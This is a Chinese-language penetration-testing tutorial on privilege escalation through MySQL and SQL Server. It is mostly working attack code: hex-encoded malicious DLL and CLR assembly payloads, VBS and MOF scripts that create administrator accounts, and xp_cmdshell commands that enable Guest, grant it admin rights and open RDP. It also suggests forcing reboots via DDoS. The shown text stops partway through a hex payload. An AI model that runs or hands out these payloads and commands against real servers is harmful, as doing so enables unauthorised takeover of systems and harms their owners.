内网渗透之提权

Posted 私ははいしゃ敗者です

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透之提权相关的知识,希望对你有一定的参考价值。

目录

内网渗透之提权篇

Webshell

数据库提权

MySQL

UDF提权

启动项提权

MOF提权

SQLServer

xp_cmdshell提权

sp_oacreate提权

CLR执行系统命令

DB_owner权限LOG备份提权

DB_owner权限差异备份提权

shell反弹命令的一些收集

关于WIndows系统的反弹shell命令的一些收集

 关于Linux系统的反弹shell命令的一些收集

对于Windows系统的提权

内核溢出漏洞提权

方法一:手动执行命令

方法二:msf 后渗透模块 

方法三:Windows Exploit Suggester

方法四:PowerShell中的 Sherlock脚本

Windows错误配置提权

系统服务权限配置错误提权

注册表键AlwaysInstallElevated提权

Trusted Service Paths漏洞(可信任服务路径漏洞提权)

计划任务提权

绕过UAC提权

 Windows组策略首选项GPP提权

COM组件提权

影响版本

 MSF利用

Other

通过KiTrap0D提升Windows权限

Windows TrackPopupMenu Win32k NULL指针解引用

Windows ClientCopyImage Win32k Exploit

Task Scheduler XML提权

MS16-032 Secondary Logon Handle提权

MS16-016 mrxdav.sys WebDav本地提权

MS13-053 ^]% NTUserMessageCall Win32k内核池溢出

EPATHOBJ^]%^]%pprFlattenRec本地提权

对于Linux系统的提权

基础知识

Linux内核

内核提权

脏牛漏洞

利用方式

SUID提权

 实列

Sudo提权

关于sudo

 实列

 关于SUID,SUDO等提权命令的汇总:GTFOBins

 Linux配置错误提权 

定时任务提权

 实列

Linux中使用环境变量提权

介绍

方法1 

Linux系统提权之非常规篇

MOTD注入提权

实列

pyhton-OS库代码注入提权

实列

 Chkrootkit 提权

python Capabilities cap_sys_ptrace+ep提权

基础知识介绍

实列


内网渗透之提权篇

对于内网渗透,到我们拿到了公网主机的权限后,并获得了一些本机的信息时。我们首先得知道我们的权限。如果获取到的是普通用户权限,则我们需要想办法提权至管理员权限。如果获得的已经是管理员权限,则可以忽略这一步。对于Windows系统,只有提权到管理员权限后,才可以运行mimikatz以及执行一些其他高权限的操作。对于Linux系统,很多命令需要root权限才能执行,只有提权到root权限才能执行后面的信息收集等工作。如果该主机不能提权至 管理员/root 权限的话,则我们要尽可能多的搜集该主机上的信息,然后对内网其他主机进行攻击,拿下另外的主机作为突破口。

Webshell

我们获得了一个Windows系统的普通用户权限,但由于低权限用户的很多操作将受到限制。导致我么们无法进行后渗透等行为。所以,我们会想法设法地将低权限用户提权到高权限用户。一般来说,那权限的过程一般是:Webshell、数据库权限——>系统普通用户权限——>Administrator权限——>System权限。反正,我们的最终目的就是拿到该主机的最高权限。

如果说我们通过web网站漏洞得到了webshell(一般来说是通过小马或者大马),该网站是以普通用户启动的。通过WebShell我们可以执行一些普通的系统命令,但是执行不了创建用户等高权限的系统命令。所以我们现在需要利用获得的WebShell提权以达到创建用户等高权限命令。

我们拿到了webshell的权限后一般来说是要通过shell反弹给攻击者的主机以便执行后面阶段的操作的。

数据库提权

比如说我们发现了某个网站存在SQL注入,亦或者是我们发现了某个主机的数据库的账号密码,我们直接远程连接上了该数据库。我们现在想利用该数据库来执行系统命令。这里需要注意的是,执行系统命令的权限取决于数据库启动用户的权限。

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

常见密码获取方式:

1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)
 

mysql

UDF提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。那么,我们该如何使用UDF呢?

假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(当MySQL>5.1,该目录默认不存在)。

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval('whoami');的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。看一下官方文档中的语法:

create function sys_eval returns string soname 'udf.dll';
/*只有两个变量:    一个是 function_name(函数名),我们想引入的函数是 sys_eval。
    还有一个变量是 shared_library_name(共享包名称),即 udf.dll 。*/

至此我们已经引入了 sys_eval 函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:

select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令

1.当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\\windows 或者 c:\\windows\\system32 目录下。

2.当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\\lib\\plugin 目录下 (lib\\plugin目录默认不存在,需自行创建)。

UDF提权步骤

secure-file-priv简介:在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。

一:查看  secure_file_priv  的值

secure_file_priv 是用来限制 load dumpfile、into  outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

show global variables like 'secure%'; #查看secure_file_priv的值
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。

如果 secure_file_priv 为NULL是不能写入导出文件的。

 如果 secure_file_priv没有具体的值,则可以写入导出文件。

 secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。

 解决办法:

利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,停止mysql服务:net stop mysql, 启动mysql服务:net start mysql)


 

 二:查看plugin的值

但是实际测试发现UDF提权成功与否与该值无关。

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
        # 查看plugin的值
        当 plugin 的值为空时不可提权
        当 plugin 值为 mysql_native_password 时可通过账户连接提权

 

 三:查看系统架构以及plugin目录

show variables like '%compile%';             #查看主机版本及架构
show variables like 'plugin%';               #查看 plugin 目录

 

 这里是 x64 位的系统,我们可以去kali中 /usr/share/metasploit-framework/data/exploits/mysql/ 目录下载64位的 .dll 文件。

四:将dll文件写入plugin目录,并且创建函数 

创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。 

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "G:\\\\phpstudy_pro\\\\Extensions\\\\MySQL5.7.26\\\\lib\\\\plugin\\\\udf.dll"; 
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval

 五:执行系统命令

select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令

 如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\\plugin\\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

select * from mysql.func where name = "sys_exec";

 手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。

create function sys_eval returns string soname "XJhSEGuE.dll"; #在XJhSEGuE.dll中创建sys_eval文件
select sys_eval("whoami"); #执行系统命令

 实验

实验前提条件:假设我们已经获取mysql数据库的用户名密码为root/root,并且上传了php大马webshell

第一步:导出dll文件

1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/ 例如:C:/phpStudy/PHPTutorial/MySQL/lib/plugin//udf.dll

上传一个 moon.php 到目标网站,如下图所示,然后使用脚本功能导出udf.dll。

成功导出dll文件后、利用脚本已写好的功能先创建sys_eval函数,之后可以查看当前用户等操作,提权成功

 MySQL udf提权脚本有反弹shell的功能,可以通过该功能反弹shell。或者可以通过sqlmap写入木马,反弹一个shell。

启动项提权

关于MySQL的启动项提权,听其名知其意。就是将一段 VBS或bat脚本导入到  C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

1. 如果  C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下!

VBS 提权脚本代码如下:

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&”/Administrators,group”)
Set od=ob.Create(“user”,”secist”)
od.SetPassword “secist.com”
od.SetInfo
Set of=GetObject(os&“/secist”,user)
oe.add os&“/secist”

将以上代码保存为 .vbs 后缀的文件上传即可!,然后想办法让目标机器重启执行脚本添加用户。

2.通过大马的MySQL执行功能,利用SQL命令来进行VBS脚本的创建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\secist.vbs”;

 成功执行以上命令后,只要管理员重启了服务器,我们就可以成功提权了!

实验

将创建好的adduser.bat进行服务器启动项写入,配合重启执行!写一个adduser.bat文件。

@echo
net user test 123456 /add

通过文件上传上传adduser.bat文件到网站根目录

 通过sql命令写入到启动项中

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;


 

 然后想办法让目标服务器重启(通过DDOS或者其它一些方法),然后就会发现bat文件执行,目标用户被创建。

MOF提权

实验前提条件:

同udf一样需要手动修改my.ini配置文件,添加 secure-file-priv=

mof介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。


第一步:通过webshell将adduser.mof文件上传到网站根目录

 下面的代码是mof文件内容,默认添加一个admin,密码admin的账户,可以自行修改。

#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")

instance of __EventFilter as $EventFilter
 
 EventNamespace = "Root\\\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \\"Win32_LocalTime\\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 ;

instance of ActiveScriptEventConsumer as $Consumer
 
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin admin /add\\")";
 ;

instance of __FilterToConsumerBinding
 
 Consumer = $Consumer;
 Filter = $EventFilter;
 ;

第二步:提权

使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’; #将原本的文件替换为上传的文件,mof文件会每五分钟执行一次。

过一会儿后,查看目标服务器用户,发现admin账户被创建

 注意已执行的mof会一直不停地执行,每隔5秒执行一次mof文件里面的cmd。

解决办法:

net stop winmgmt #停止服务,
rd C:\\WINDOWS\\system32\\wbem\\Repository\\ #删除文件夹
net start winmgmt #启动服务,完毕不会在执行了。

SQLServer

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。

SQLServer有三个权限级别:

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

判断当前用户权限 

select is_srvrolemember('sysadmin');     #判断是否是SA权限,回显1则是
select is_member('db_owner');     #判断是否是db_owner权限,回显1则是
select is_srvrolemember('public');    #判断是否是public权限,回显1则是

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。 

master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
 

SQLServer数据库的查询语句

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\\\192.168.106.5\\xx.txt',0,1;
 
判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
 
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
 
count(name)是查询总数
name是查询名字
*是查询详细信息
 
#查询数据库
select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name  from sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
 
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
 
select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
 
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
 
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息
 
#查询数据
select count(*) from test..users          #查询test数据库user表的数据的条数
select * from test..users                 #查询test数据库user表的所有数据

xp_cmdshell提权

xp_cmdshell是数据库中可以执行系统命令的组件,可以通过此组件执行系统命令来提权

可以通过配置文件或者SQL注入之类的,获取到数据库权限,之后执行如下语句

前提条件是:前提是必须获取SA用户的密码(SA用户具有最高权限)

1.判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启 

execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
 
或者
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami';                         
 
 
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口

 此时通过EXEC master.dbo.xp_cmdshell '命令',就可以执行系统命令进行添加用户之类的提权操作。

如果xp_cmdshell被删除,上传xplog70.dll可恢复。

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL
Server\\MSSQL\\Binn\\xplog70.dll'

最后关闭xp_cmd_shell 。

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

 sp_oacreate提权

sp_oacreate用来调用OLE对象,如果xp_cmdshell组件被删除也可以利用OLE对象的run方法执行系统命令,主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。(xp_cmdshell被删除的时候,考虑使用sp_oacreate)

使用sp_oacreate提权前提条件:SQLServer数据库服务未降权 (因为需要调用COM组件)

我们可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令,使用下面命令查看是否可使用 sp_oacreate 执行系统命令。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程  'sys.sp_OACreate'  的访问,可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

再次执行命令,发现不报错。此时可以执行系统命令了,但是使用 sp_oacreate 执行系统命令不回显。

于是我们可以使用以下命令创建用户test。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net user test test123 /add'

 CLR执行系统命令

#启用MSSQL CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
 
#为了导入了不安全的程序集,我们还需要将数据库标记为安全。
ALTER DATABASE [master] SET TRUSTWORTHY ON;
 
#导入程序集,单独执行
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000